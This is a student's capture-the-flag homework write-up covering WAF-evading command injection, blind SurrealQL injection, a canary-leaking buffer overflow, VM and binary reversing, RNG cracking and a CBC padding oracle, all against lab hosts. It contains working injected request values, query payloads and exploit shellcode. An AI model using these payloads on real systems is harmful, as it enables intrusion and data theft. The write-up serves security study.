

HW1 writeup

B11902083 徐燦桓

[Web] Ping as a Service

- Flag: `flag{WAF_evasion_101_1b0a904207}`
- Hinted by B11902050 范剛佑

Solution

First, I tried command injection via the payloads listed [here](#) but with no luck. I eventually stucked at `sh` having relatively restricted features (like unable to use wildcards for filename matching on redirection)

After looking into the WAF rules listed inside the container, I found out that it blocked some common binary names like `cat`, `ls`. Therefore, I instead try to enumerate every binaries listed in `/bin` and try to see which of them can run without any modification.

To do this, I made a list of binary names (`paas/bin_list.txt`) and used Burp Suite's intruder (since I'm using free version, wasn't able to save the intruder results) to send the request `host=127.0.0.1;/bin/{binary_name}` and check their response code.

```
POST / HTTP/1.1
Host: 10.113.0.1:11102
Content-Length: 15
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.113.0.1:11102
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.113.0.1:11102/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

host=127.0.0.1;/bin/55
```

Request ^	Payload	Status code
0		200
1	elfedit	200
2	mcookie	200
3	split	403
4	ab	403
5	enc2xs	200
6	md5sum	200
7	sqv	200
8	addr2line	200
9	encguess	200
10	mkdir	403

I collected those with `200 0K` and see what can be used as alternatives for `cat` and `ls`.

- First, `vdir` can be used instead of `ls`, the usage is the same. We'll list the root directory with
`host=127.0.0.1;/bin/vdir /`
- Again, use `vdir` on the randomized flag directory to get the randomized flag name.
`host=127.0.0.1;/bin/vdir /flag_1dDyK13bygrLw8LmFQ2isnkifYj55528`
- Finally, we have `rgrep` which is basically `grep -r` matching by a regex, so we can do
`host=127.0.0.1;/bin/rgrep flag`
`/flag_1dDyK13bygrLw8LmFQ2isnkifYj55528/flag_6pLp7znYK4tJpk79bDWuAkbfLB8ib2Eb.txt`

Ping a Host

Ping

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data:
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.014 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.014 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.014 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.014 ms
```

```
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time=0.044 ms
rtt min/avg/max/mdev = 0.014/0.035/0.044/0.014 ms
flag{WAF_evasion_101_1b0a904207}
```

[Web] SurrealQL Injection

- Flag: `flag{make_oracle_leak_metadata_then_profit}`

Solution

For full solution please refer to `surrealql/surreal.py`.

This problem is essentially a blind SQL challenge. The only hard part is how differently SurrealQL syntax are compared to common ones.

There're three stages but they are essentially the same, using `DESC LIMIT {IF stmt}` where `{IF stmt}` is an oracle resolving to either 0 or 1. Then, we can count for number of `<article>` tags in the response to determine the oracle answer.

Note that we may use the `INFO` clause to obtain metadata for the database, which allow us to get both the name for secret table and the secret column.

- Leaking table name:

```
DESC LIMIT object::keys((INFO FOR DB).tables).filter(|$v: string|
$v.starts_with('{prefix}')).len()
```

`(INFO FOR DB).tables` is keyed by table names. For convenience, let's assume the tables have different first character (which in fact is) Then, we can just count the number of keys starting with `{prefix}`. With correct guess for our table we should get just the secret table in the array, thus the `len()` for 0/1 oracle.

Note I specifically filtered out the `articles` table with `not guess.startswith('a')`:

```
if resp.status_code == 200 and len(soup.find_all('article')) > 0 and not guess.startswith('a'):
```

- Leaking column name:

```
DESC LIMIT IF string::starts_with(object::keys(SELECT * FROM ONLY {guessed_table})[1],
'{guess}') THEN 1 ELSE 0 END;
```

This basically selects the column name from our previously found table and compare its prefix with our guess.

- Leaking Flag:

```
DESC LIMIT IF type::string(type::array(SELECT VALUE {guessed_col} FROM {guessed_table})
[0]).starts_with('{guess}') THEN 1 ELSE 0 END;
```

Finally, this selects the `VALUE {guessed_col}` and takes the first element in the returned array, which is the flag itself, and again compared its prefix with our guess. This will give us the flag:

```
Brute-forcing flag value: 98%|
Brute-forcing flag value: 100%|
Guessed flag: flag{make_oracle_leak_metadata_then_profit}
```

[Pwn] sc++

Flag: `flag{y0u_known_h0w_c4nary_Vi@_exIt}`

Solution

For full solution please refer to `sc++/exploit.py`.

Inspecting the source code, we see the program allow us to run a child process with syscall interface limited to nothing other than `exit()`. Then, it provides a trivial buffer overflow with `gets()`. First, inspecting `checksec` output:

```
pwndbg> checksec
File:      /home/slimlix/Course/Security/hw1/pwn/cha1
Arch:      amd64
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
pwndbg> █
```

Almost every security mechanism is on. Due to PIE and Canary, our goal is to:

- Leak the canary value
- Overwrite the return address to `win()`, which is respective to a randomized base

The child program part essentially gives us a 1 byte (since exit code is `& 0xff` before returning) leak on arbitrary memory location in parent (since child memory is CoW). Thus, leaking the canary is trivial with the following snippet that leaks byte at `addr`:

```
xor rax, rax
mov al, byte ptr [{addr}]
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 60
syscall
```

To know where canary resides, either inspect the disassembly of `main` or use `canary` command of `pwndbg`. In our case, it is loaded to `[rbp - 8]`:

```
0x55555555548b <main+12>  mov     rax, qword ptr fs:[0x28]    RAX, [0x7ffff7f47768] ⇒
0xc7ee0d19cc319300
0x555555555494 <main+21>  mov     qword ptr [rbp - 8], rax    [0x7fffffff7c8] ≤
0xc7ee0d19cc319300
```

We should be able to leak `rbp` first (below snippet) then `[rbp - 8]` using previous snippet:

```

xor rax, rax
lea rax, [rbp]
add rax, {i}
mov al, byte ptr [rax]
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 60
syscall

```

Finally, to leak the PIE base, note that in `child()` our shellcode is called with instruction `call rdx`.

```

0x00000000000001473 <+201>: call    rdx
0x00000000000001475 <+203>: mov     edi,0x0

```

This means when our program started, `<child + 203>` (i.e. next instruction) will be pushed to stack top. We can use this fact to leak `<child + 203>` after PIE rebase, then:

```
win() = leak - ELF['child'] - 203 + ELF['win']
```

Using both canary value and address of `win()`, we construct the following payload:

```
b'A' * (0x18) + canary + b'A' * 0x8 + p64(win_addr)
```

The offset `0x18` can be found using `cyclic` command of `pwndbg` or just check the disassembly:

```

0x000055555555561c <+413>: lea     rax,[rbp-0x20] → This is the buffer
0x0000555555555620 <+417>: mov     rdi,rax
0x0000555555555623 <+420>: mov     eax,0x0
0x0000555555555628 <+425>: call    0x55555555220 <gets@plt>

```

```

[+] Leaking <child+203> address...
[+] Leaked <child+203> byte 1/8: 75
[+] Leaked <child+203> byte 2/8: 34
[+] Leaked <child+203> byte 3/8: 14
[+] Leaked <child+203> byte 4/8: 76
[+] Leaked <child+203> byte 5/8: fe
[+] Leaked <child+203> byte 6/8: 55
[+] Leaked <child+203> byte 7/8: 00
[+] Leaked <child+203> byte 8/8: 00
[+] Leaked <child+203>: 0x55fe76143475
[+] Calculated win() address: 0x55fe76143389
b'child exit 1\n'
[*] Switching to interactive mode
$ ls
Makefile
chal
chal.c
run.sh
$ cat /flag.txt
flag{y0u_known_h0w_c4nary_Vi@_exIt}
$

```

[Pwn] STAR machine (pwn)

Flag: not solved... but can refer to `starvm-pwn/star.py` for attempt

Though I was able to achieve ROP by overwriting the handler table (which is at a fixed offset from storage base) but I wasn't able to find gadgets to launch `execve('/bin/cat' ...)`. Also my approach require the actual stack address of storage base which essentially need a stack address leak, but I couldn't find the leak as well.

[Rev] checker

Flag: FLAG{h0w_rand0m_1s_de73rmIn1stic}

Solution

Run `checker/rev` compiled from `gcc checker/rev.c -o checker/rev` to get the flag.

First, we inspect the decompiled binary in IDA. Inside `main()`, it seems like it does the following:

- Load two `xmmword` (128 bits) into array `v7`

```
.rodata:0000000000002030 xmmword_2030    xmmword 0B41DDD47E7833CDDA6B518E22FE57103h
.rodata:0000000000002030                ; DATA XREF: main+191r
.rodata:0000000000002040 xmmword_2040    xmmword 0EC77CB23561284F87069A90F94519AA4h
.rodata:0000000000002040                ; DATA XREF: main+4A1r
```

- Read a string `s` of length 256.
- Transform `s` via some subroutine `sub_1500` and stores it in array `v10`.
- Finally, compare `v10` against `v7` and if all matches, it outputs `Yes`. Otherwise, output `No`.

Therefore, by reversing the transformation in `sub_1500` and applies it on `v7`, we should be able to recover the correct `s`. Next, we inspect the decompilation of `sub_1500`.

The main transformation logic is this while loop, where the array `v5` is just a permutation of `[0...n-1]` where `n = strlen(s)` and `v7` is array of length `n` containing `rand()` outputs.

Summarizing what we have so far: Let `perm` be the permutation of `[0...n-1]` in `v5` and `rand_output` be `v7`. We already have `s` fed into the subroutine, `n = strlen(s)` and the `output` array.

```
do
{
++v13;
v15 = (unsigned __int16)(37 * (unsigned __int8)v5[v14]) >> 8;
*(_BYTE *) (a3 + v14) = __ROL1__(
    v7[(unsigned __int8)v5[v14]] ^ *(_BYTE *) (a1 + (unsigned __int8)v5[v14]),
    v5[v14] - 7 * ((unsigned __int8)((unsigned __int8)(v5[v14] - v15) >> 1) + v15) >> 2) + 1);
v14 = (unsigned __int8)v13;
}
while ( (unsigned __int8)v13 < i );
```

Basically, this loop does the following:

- Loop `i` over `0...n-1`
 - Take `x = perm[i]` and compute `y = (37 * x) >> 8`
 - Compute the shift amount `shift = x - 7 * (((x - y) >> 1) + y) >> 2) + 1;`
 - Set `output[i] = rol(rand_output[x] ^ s[x], shift)`

Although it involves `rand()`, by analyzing the program in `gdb` we can see a fixed seed is used and output sequence are consistent between runs. Therefore, we can breakpoint at the call to `rand()` and extract the outputs in a list.

```
unsigned int dumped_rand_values[] = {
    0x372ab6d1, 0x6bbcf5, 894331345, 550606490, 612670572, 1984253156,
    817333697, 1167418030, 200844547...
}
```

The function `rol(value, n)` (and its reverse `rotr()`) are circular shifts:

```
unsigned char rol(unsigned char value, unsigned int n) {
    const unsigned int bits = 8;
    n %= bits;
    return (value << n) | (value >> (bits - n));
}
```

```

}

// Rotate right for 8-bit value
unsigned char rotr(unsigned char value, unsigned int n) {
    const unsigned int bits = 8;
    n %= bits;
    return (value >> n) | (value << (bits - n));
}

```

Note how `x`, `y`, `shift` are dependent of `s` and each `output[i]` has an one-to-one relationship with `s[x]`, we can thus reverse the whole procedure. Taking the `output[i]`, we then have:

```
rotr(output[i], shift) ^ rand_output[x] = s[x]
```

where everything on LHS are known. (For full reversed code, check `sub_1500` in `rev.c`)

We can verify the correctness by applying the original `sub_1500` (labeled `sub_1500_forward` in `rev.c`) and reverse it with our code. Putting the above two `xmmword` as `output` and we can recover the correct `s`.

```

Using dumped rand value: 1816609526
Using dumped rand value: 537678934
26 8 15 0 4 11 17 1 3 32 7 27 30 14 16 9 31 24 12 33 29 13 10 18 6 2 23 28 5 25 21 22 20 19
Key Recovered: FLAG{h0w_rand0m_1s_de73rmIn1stic}

```

[Rev] STAR machine (rev)

Flag: `FLAG{m4ke_d1ss3mbL3R_4_STARVM_g1v3s_y0u_fl4g}`

Solution

Run `python3 check_starp.py serial` under `starvm-rev/` to get the flag.

starvm analysis

Judging from the problem description, we know `./starvm` is basically a custom runtime that runs on `.starp` bytecodes. The first thing we want to do is to understand the format of `.starp` files. By the formation of example payload at `example.py` (from pwn) and some tweaking of the example payload, we can conclude the file format is as followed:

```

STARP → magic
=== Function section ===
p32(3) → number of functions
p32(0) + p32(offset_1) + p32(offset_2) → offsets of function 0, 1, 2
=== Storage section ===
p32(2) → number of storage item to load
p64(0xdeadbeef) + p64(0xc0ffee00) → storage items (64 bits per)
=== Program ===
p32(len(program))
p8(0x01) + p8(0x60) ... → opcodes

```

With this knowledge, I wrote `check_starp.py` to output the format in a simple table to help me understand the `serial-verifier.starp`.

```

Section sizes: functions=3 x 4 bytes, storage=12 x 8 bytes, program=425 bytes
=== Functions ===
Number of functions: 3
Function 0: 0x0~0x124, size=292 bytes
10 01 00 00 00 00 00 00 00 50 10 00 00 00 00 00 00 00 10 14 00 00 00 00 00 00 00 10 02 00 00
00 00 00 00 00 50 11 11 10 1e 00 00 00 00 00 00 00 00 14 10 01 00 00 00 00 00 00 10 15 00 00 00
00 00 00 00 10 02 00 00 00 00 00 00 00 00 50 11 11 10 1e 00 00 00 00 00 00 00 14 10 02 00 00 00 00

```

```

00 00 00 10 16 00 00 00 00 00 00 00 10 02 00 00 00 00 00 00 50 11 11 10 1e 00 00 00 00 00 00
00 14 10 03 00 00 00 00 00 00 00 00 10 17 00 00 00 00 00 00 10 02 00 00 00 00 00 00 50 11 11
10 1e 00 00 00 00 00 00 00 00 14 10 04 00 00 00 00 00 00 10 18 00 00 00 00 00 00 00 10 02 00 00
00 00 00 00 00 50 11 11 10 1e 00 00 00 00 00 00 14 10 05 00 00 00 00 00 00 00 10 19 00 00 00
00 00 00 00 10 02 00 00 00 00 00 00 00 50 11 11 10 1e 00 00 00 00 00 00 14 31 31 31 31 31 10
01 00 00 00 00 00 00 00 40 43 0b 00 00 00 10 ad de 00 00 00 00 00 00 61 00 10 0d 60 00 00 00 00
00 00 61 00 <truncated>

```

The next thing to do is to decipher the opcodes one by one. By setting a breakpoint at read syscall (which correspond to opcode `0x60` as hinted by `example.py`) we eventually can find the part where opcode handlers are loaded:

```

0x10104d9    mov    dword ptr [rbp - 0x21b0], ecx    [0x7fffffff720] ← 1
0x10104df    movzx  eax, byte ptr [rax + rdi]    EAX, [0x7ffff7f80000] → 0x10
0x10104e3    mov    rdi, rbx                    RDI ⇒ 0x7fffffeaf0 ← 0x69be36747f876bae
0x10104e6    call   qword ptr [rbp + rax*8 - 0x29b0] <0x102f480>

```

Here, `[rbp - 0x21b0]` keeps the current PC (byte offset) in program and `[rax + rdi]` is the current opcode, which is loaded and used as index to `[rbp + 0x29b0]` i.e. the handler table. For example, this snippet now loads PC = `0x1` having opcode `0x10` and calls handler `0x102f480` to handle `0x10`. The rest is just individually analyze each opcode and keep track of their functionality. The disassembled results of (almost) all opcodes can be found listed in `starvm-pwn/star.py`.

During disassembling of the opcodes we can see that `./starvm` actually has a storage and an internally managed stack (residing in the program's stack itself, specifically, `storage_base + 0x8000`) For example, in opcode of `0x10` we can see:

```

0x102f4d4    mov    qword ptr [rdi + rax*8 + 0x8000], rcx    [0x7ffffffaee8] ← 1
0x102f4dc    pop    rbp                    RBP ⇒ 0x7ffffffd8d0
0x102f4dd    ret                                <0x10104ed>

```

which loads value `1` at the internal stack's offset `rax = 0xffff` (the offset decreases with element count)

Program disassembly

Finally, we can disassemble the necessary parts to get the flag. Some important opcodes are:

```

0x10 <8-byte>: stack.push(<8-byte>)
0x11: stack.pop()
0x12 <1-byte>: stack.push(stack[-(<1-byte>+1)])
0x13: storage[stack[-1]] = stack[-2]
0x14: index = stack.pop(); stack.push(storage[index])
0x20: a = stack.pop(); b = stack.pop(); stack.push(a + b)
0x32: a = stack.pop(); b = stack.pop(); stack.push(a ^ b)
0x4043 <4-byte>: jump by <4-byte> if stack[-1] ≠ stack[-2]
0x50: PC = function_offset[stack[-1]]
0x51: return
0x60: stack.push(bytes.fromhex(input()))

```

Now, disassembling only necessary parts of the original program:

```

func1:
10 01 00 00 00 00 00 00 00 / 50 → func2()
10 {00-05} 00 00 00 00 00 00 00 / 10 {14-19} 00 00 00 00 00 00 00 / 10 02 00 00 00 00 00 00
/ 50 / 11 / 11 / 10 1e 00 00 00 00 00 00 / 14
→ func3(00, 14) ~ func3(05, 19) and push the return value

func2:

```

```
60 / 10 {14-19} 00 00 00 00 00 00 00 / 13 → read to storage[0x14] ~ storage[0x19]
```

```
func3(a, b):  
12 02 / 14 / 12 02 / 14 / 32 / 12 03 / 10 06 00 00 00 00 00 00 / 20 / 14 / 40 43 14 00 00 00  
/ 10 00 00 00 00 00 00 00 / 10 1e 00 00 00 00 00 00 / 13 / 51 / 10 01 00 00 00 00 00 00  
00 / 10 1e 00 00 00 00 00 00 / 13 / 51  
return storage[a] ^ storage[b] == storage[a + 6]? 0:1
```

Basically at this point, it is obvious that we need to let `storage[0x14] ~ storage[0x19]` contain value such that when xor-ed with `storage[0x00] ~ storage[0x05]` gives `storage[0x06] ~ storage[0x11]`. The rest is just `func1` would check if all return value is `0` by or-ing (`0x31`) every return value and compare against `1`. If failed, it would print `0x0000dead` and otherwise `0x0000600d`.

```
31 31 31 31 31 / 10 01 00 00 00 00 00 00 / 40 43 0b 00 00 00 / 10 ad de 00 00 00 00 00 /  
61 00 / 10 0d 60 00 00 00 00 00 / 61 00
```

Therefore, computing `storage[a] ^ storage[a+6]` for `a in range(6)` should give the flag.

```
flag = b''  
for i in range(6):  
    # xor storage[i] ^ storage[i+6]  
    rev_entry = bytes(a ^ b for a, b in zip(storage_entries[i], storage_entries[i+6]))  
    print(rev_entry)  
    print(f"rev {i}: {rev_entry.hex()}")  
    flag += rev_entry  
print("Flag:", flag)
```

```
=== rev ===  
b'FLAG{m4k'  
rev 0: 464c41477b6d346b  
b'e_d1ss3m'  
rev 1: 655f64317373336d  
b'bL3R_4_S'  
rev 2: 624c33525f345f53  
b'TARVM_g1'  
rev 3: 544152564d5f6731  
b'v3s_y0u_'  
rev 4: 7633735f7930755f  
b'fl4g}\x00\x00\x00'  
rev 5: 666c34677d000000  
Flag: b'FLAG{m4ke_d1ss3mbL3R_4_STARVM_g1v3s_y0u_fl4g}\x00\x00\x00'
```

[Crypto] rng

Flag: FLAG{breaking_two_kinds_of_random_number_generators!}

Solution

For full solution please refer to `rng/rng.py`.

Inspecting the code, the challenge defined two custom RNGs each produces a bit on one pass.

- `rng1` is 21 LFSRs and their output bits are summed then outputs `sum & 1`.
- `rng2` is Python's `Random` module, using `getrandbits(1)`

Then, `output.txt` contains the following content:

```
4096 bytes from rng1 |
4096 bytes from rng2 |
flag ^ x where each x is (rng1() + rng2()) & 1
```

Thus, we'll need to crack both RNGs to predict the next outputs for decrypting `flag`.

Crack `rng1`

For `rng1`, given LFSR are linear recurrences, their linear combination `rng1` should represent another LFSR. The `berlekamp_massey` algorithm (implemented in SageMath) allow us to recover the characteristic polynomial of such LFSR using enough output bits from `rng1`.

Info

According to this proposition I found on [this textbook](#) a total of $8358 * 2$ output bits where 8358 is sum of degrees of all LFSR should be enough to crack `rng1`. Nevertheless, we had 4096 bytes which is more than enough.

Proposition 3.7. [RS87] Let us consider the combination generator composed of n binary LFSRs with primitive feedback polynomials which are combined by a Boolean function f . If all LFSR lengths $L_1, \dots, L_n$ are distinct and greater than 2 (and if the LFSR initializations differ from the all-zero state), the linear complexity of the output sequence s is equal to

$$f(L_1, L_2, \dots, L_n)$$

where the algebraic normal form of f is evaluated over integers.

Crack `rng2`

`rng2` is just the classic reversing MT19937 challenge, aiming to solve total $624 * 32$ internal state bits via linear system of observed bits. With many existing tool, I choose to use `gf2bv` since it has a working example just for this case in its [Github repo](#).

Finally, we just have to set the two RNGs to its state after generating 4096 bytes and continue generating `len(flag) * 8` bits, xor them and then xor the result with encrypted flag to get the plaintext.

```
continue to predict rng2 for 424 bits...
100%|██████████| 424/424 [00:00<00:00, 2140054.03it/s]
rng2 done
decrypting flag...
flag: b'FLAG{breaking_two_kinds_of_random_number_generators!}'
'
```

[Crypto] cbc-revenge

Flag: FLAG{pkcs7_padding+checksum}

Solution

For full solution please refer to `cbc-revenge/cbc.py`.

This problem is CBC padding oracle but with a little twist: Each padding byte is actually pkcs7 with a one-way checksum computed from the entire data appended behind the padding length (`len || checksum`, `||` means concatenation)

In regular CBC padding oracle we would send something like `guess ^ 0x1` such that if it passes the check, then very likely server got `0x1` after decryption and or intermediate byte would be `guess`.

In our case, consider only the last byte. Send `g ^ (0x0 || init_chk)` and server accepting means very likely it gets `0x0 || checksum`, `checksum` is the actual checksum of data we sent. Note that there exists 16 pairs of `(g, init_chk)` with `init_chk` in `0x0-0xf` such that we eventually send the same byte to server. However, only one of the `g` is the actual intermediate byte.

Following bytes would also have their 16 `(g, init_chk)` pairs and still only one `g` is valid. Note that we use previously guessed bytes in later request to server, so `init_chk` uniquely defines a sequence of guessed bytes while only one of them is flag.

From this fact, all we have to do is perform regular padding oracle with fixed `init_chk`, and see which one produced meaningful plaintext output (`while pos ≥ 0` in code). Respectively, we need to set `init_chk = 0x6` and `init_chk = 0xf` for the second and first ciphertext block for the plaintext to actually be flags.

```
Block 2 recovered: b'ng+checksum}6666'
Recovered plaintext: b'FLAG{pkcs7_padding+checksum}6666'
[*] Closed connection to 10.113.0.1 port 35001
```